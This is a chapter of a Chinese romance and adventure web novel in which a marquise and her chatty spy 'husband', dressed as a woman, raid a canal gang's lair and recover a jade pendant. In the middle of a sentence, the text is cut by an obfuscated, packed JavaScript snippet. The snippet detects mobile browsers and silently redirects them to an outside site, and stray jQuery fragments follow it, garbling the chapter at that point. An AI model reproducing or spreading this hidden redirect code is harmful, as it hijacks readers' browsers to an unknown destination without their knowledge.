14. 第 14 章

作品:《被迫和话痨男密探假成亲

    “吃完了?”沈完令起身,“练枪。”


    季临哀嚎,几乎想趴在桌子上,语气中不由地带着点撒娇的意味:“还练?!我胳膊有伤……”


    但他没有察觉。


    沈完令看了他一眼,眼神不由地带了点笑意,她也没察觉。


    “左臂没事。”沈完令敲了敲桌子,“三十遍‘无住式’。”


    季临垂头丧气地跟上。


    到了练武场,沈完令手里拎着红缨枪,望着身后慢吞吞的季临,一挑眉:“嗯?”


    “马上来马上来!”季临小跑进场,立刻摆开架势,接过了红缨枪。


    这次红缨枪似乎格外沉,他刚刺出第一式就手臂发酸。


    “手腕放松。”沈完令突然从背后扶住他的手,“腰发力。”


    季临浑身僵直。沈完令的胸膛贴着他的后背,呼吸拂过他耳畔。这个姿势,简直像是抱着他……


    “专心。”沈完令的声音近在咫尺。


    季临耳根发烫,机械地重复着动作。不知练了多久,沈完令终于喊停:“可以了。”


    季临瘫坐在地,大口喘气。沈完令扔给他一条帕子:“擦汗。”


    帕子带着淡淡的木檀香,季临没舍得用,偷偷塞进了怀里。


    “侯爷……”他犹豫片刻,“接下来咱们真不查军械案了?”


    沈完令望向皇宫方向:“明面上不查。”


    季临眼睛一亮:“所以暗地里……”


    “你话很多。”沈完令转身走向书房,“过来研墨。”


    季临屁颠屁颠跟上。书房里,沈完令铺开宣纸,开始画图。季临凑近一看,是张精细的漕帮总舵布局图!漕帮总舵在城外,就在运河旁。


    “侯爷这是要……”


    “夜探。”沈完令笔下不停,“三更天出发。”


    季临摩拳擦掌:“需要准备什么?烟雾弹?指南针?”


    “女装。”


    季临:“……”


    怎么又是女装?!


    “侯爷……”他试图挣扎,“我觉得男装更方便……”


    沈完令抬头,右眉微挑:“你穿男装像青禾。”


    季临哑口无言。确实,原身既然是太子心腹,漕帮的人肯定认识这张脸。


    “那……”他垂死挣扎,“能不能换个款式?上次那套衣服实在是太……”


    沈完令从柜子里取出套桃红色襦裙:“这套很安静。”


    季临看着裙摆上绣的红荷映日,欲哭无泪。这还不如铃铛呢!


    “侯爷,其实我可以扮小厮……”


    “青禾。”沈完令突然正色,“漕帮有青铜猫的线索,可能关乎你的‘归途’。”


    季临一怔。她在为他考虑?她想让自己回去?


    “我……”他鼻子突然发酸,“谢谢侯爷。”


    沈完令低头继续画图,看似寻常,但手上的劲又重了不少。


    三更梆子响过时,季临已经换好女装。这次沈完令亲自给他梳了发髻,还插了支珍珠步摇。


    “侯爷……”季临对着铜镜生无可恋,“我这样像不像人妖?”


    沈完令:“?”


    “就是……”季临比划着,“不男不女?”


    沈完令端详片刻,突然伸手抹了点胭脂涂在他唇上:“现在好看了。”


    季临:“……”


    他决定闭嘴,这侯爷肯定有打扮娃娃的癖好。


    沈完令又把一些药粉洒在了两人身上,闻着有股草木的香味。


    季临:这是什么??


    许是季临的眼神太过明显,沈完令言简意赅地吐出两个字:“防蛇。”


    季临:??!!他不想闭嘴了。


    但沈完令已经拎着他,两人悄无声息地翻墙出府。身体的动作有点大,季临的步摇“叮当”作响,吓得他赶紧捂住。


    “别动。”沈完令低声道,“越自然越不惹人注意。”


    季临欲哭无泪。这特么怎么自然?他连路都不会走了!


    漕帮总舵静悄悄的,只有几处亮着灯。沈完令带着季临绕到后墙,那里有道排水沟。


    “钻进去。”她指了指黑漆漆的沟口。


    季临看着自己桃红色的裙摆,悲从中来:“侯爷,这裙子……”


    “撩起来。”沈完令面不改色。


    季临:“……”


    他认命地提起裙摆,撅着屁股往沟里钻。刚爬进去半截,突然听见沈完令一声轻咳。


    “怎么了侯……唔!”


    沈完令突然捂住他的嘴。沟渠深处传来“沙沙”声,像是有什么东西在爬行。


    很快,他听清了,浑身汗毛倒竖。这声音他太熟悉了——是蛇!


    “别动。”沈完令耳语道,“漕帮养的看门蛇。”


    季临僵在原地,冷汗直流。他能感觉到冰凉的蛇身擦过脚踝,鳞片摩擦发出令人牙酸的声音。


    不知过了多久,沈完令松开手:“走了。”


    季临长舒一口气,终于明白了侯爷之前说的‘防蛇’是什么意思了,他心底给沈完令打上了更大对的滤镜,恨不得直接成啦啦队,挥舞裙摆,大喊:侯爷真厉害!侯爷你最棒!


    沈完令按住他,轻声道:“快走。”


    季临收回心神,继续往前爬。沟渠尽头是间地窖,堆满了酒坛。两人刚钻出来,就听见上面传来脚步声,嘀嘀咕咕,似乎在商量事。怎么这么晚了,漕帮还有人在办事?


    沈完令拉着人一蹲一躲,直到脚步声远去。


    两人悄无声息地摸上楼梯。透过门缝,只见赵金刀正和几个心腹议事,桌上摊着张图纸。


    而赵金刀身后,居然还有一个黑猫铜像!只不过只有半截。


    两人均是一惊


    “太子虽然没了,但咱们的买卖还得做。”赵金刀粗声道,“五日后,把货从水路运出去……”


    季临眯眼细看,图纸上画的是某种机械装置,旁边标注着“佛笑二号”。


    “侯爷……”他无声地做出口型,“他们还要造时空机器!”


    沈完令点头,突然从怀中取出个纸包,是辣椒粉!


    季临瞪大眼睛。这招不是用过了吗?


    沈完令似乎看出他的疑问,指了指地窖角落的酒坛。季临恍然大悟,辣椒粉加酒精,简易□□!


    两人默契地分头行动。季临溜到酒坛边,刚打开封口,突然踩到根木棍。


    “咔嚓!”


    “谁?!”赵金刀厉喝。


    沈完令反应极快,一脚踹翻酒坛,扔下火折子,同时扬手撒出辣椒粉!烈酒混合着辣椒粉在空气中爆开,屋里顿时咳嗽声一片。


    “走!”沈完令拽起季临冲向内室。


    那半截青铜猫像,季临刚要伸手


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15885239|176007||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    去拿,脑后突然生风——


    “小心!”


    沈完令的红缨枪及时格挡,“铛”地一声,赵金刀的鬼头刀擦着季临头皮划过。


    “沈完令!”赵金刀满脸通红,眼泪直流,“老子就知道是你!今日就是你的死期!”


    沈完令不答,枪出如龙。赵金刀武艺不弱,两人战作一团。季临趁机扑向猫像,却发现底座连着机关!


    “侯爷!有陷阱!”


    话音未落,密室屋顶突然撒下张大网!沈完令回枪急刺,却为时已晚,网绳是特制的,刀枪不入!


    “哈哈哈!”赵金刀大笑,“专门为你准备的玄铁网!”


    季临急中生智,掏出怀里的烟雾弹砸向地面。“砰”的一声,浓烟瞬间充满密室。


    “咳咳……”赵金刀大骂,“给我砍死他们!”


    混乱中,季临摸到沈完令的手,说出了自己的发现:“侯爷!这个底座有机关,能打开!”


    沈完令会意,红缨枪精准地刺向猫像底部。“咔嗒”一声,底座弹开,露出个暗格。


    季临伸手一掏,摸出块玉佩,和太子那个青铜猫里的一模一样!而那块,还在他身上!


    “走!”沈完令突然揽住他的腰,将全身内力注入红缨枪,向上急刺。枪尖迸出火星,竟在玄铁网上撕开道口子!


    两人从破口跃出,身后是赵金刀的怒吼:“拦住他们!”


    沈完令且战且退,快到沟渠时突然一个踉跄,她的旧伤发作了!


    “侯爷!”季临赶紧扶住她。


    “你先走。”沈完令推开他,“我断后。”


    “不行!”季临突然爆发出惊人的力气,一把抱起沈完令,“要死一起死!”


    沈完令:“……”


    她似乎想说什么,最终却闭上了眼。季临抱着她跳进沟渠,拼命往外爬。身后追兵将至,前方却突然传来福伯的声音:“侯爷、姑爷!这边!”


    沟渠尽头,福伯带着十来个玄甲军旧部接应。追在最前方的赵金刀挨了福伯一记烟锅,被打得七窍流血,受了内伤。


    而其他的玄甲军之人,则结阵困住了漕帮之人,杀伤不少人,漕帮众人慌忙背着赵金刀逃命。


    几个玄甲老兵七手八脚地把他们拉出来,往马车上一塞,扬长而去。


    马车里,季临还紧紧抱着沈完令。直到福伯“咳咳”两声,他才如梦初醒,赶紧松手。


    “侯爷,您的伤……”


    “无碍。”沈完令坐直身子,“玉佩呢?”


    季临掏出两块玉佩。在月光下,两块玉的纹路竟能拼合成完整图案,居然是只栩栩如生的黑猫!


    “云娘子留下的……”季临喃喃道,“这到底……”


    沈完令突然按住他的手:“收好。关乎你的归途。”


    季临心头一颤。她这么想他离开吗?


    “侯爷……”他轻声道,“还没找到云娘子,归途也不知道真伪……”


    沈完令望向窗外渐亮的天色:“快了。”也不知道是在说人还是在说归途。


    马车驶向镇北侯府。月光中,季临偷偷打量着沈完令的侧脸。那道疤,那个SW印记,那杆红缨枪……所有谜团都指向云娘子。


    而他有种预感,当谜底揭开时,或许就是他该“回去”的时刻。


    这个认知,让他心里突然泛起一丝苦涩。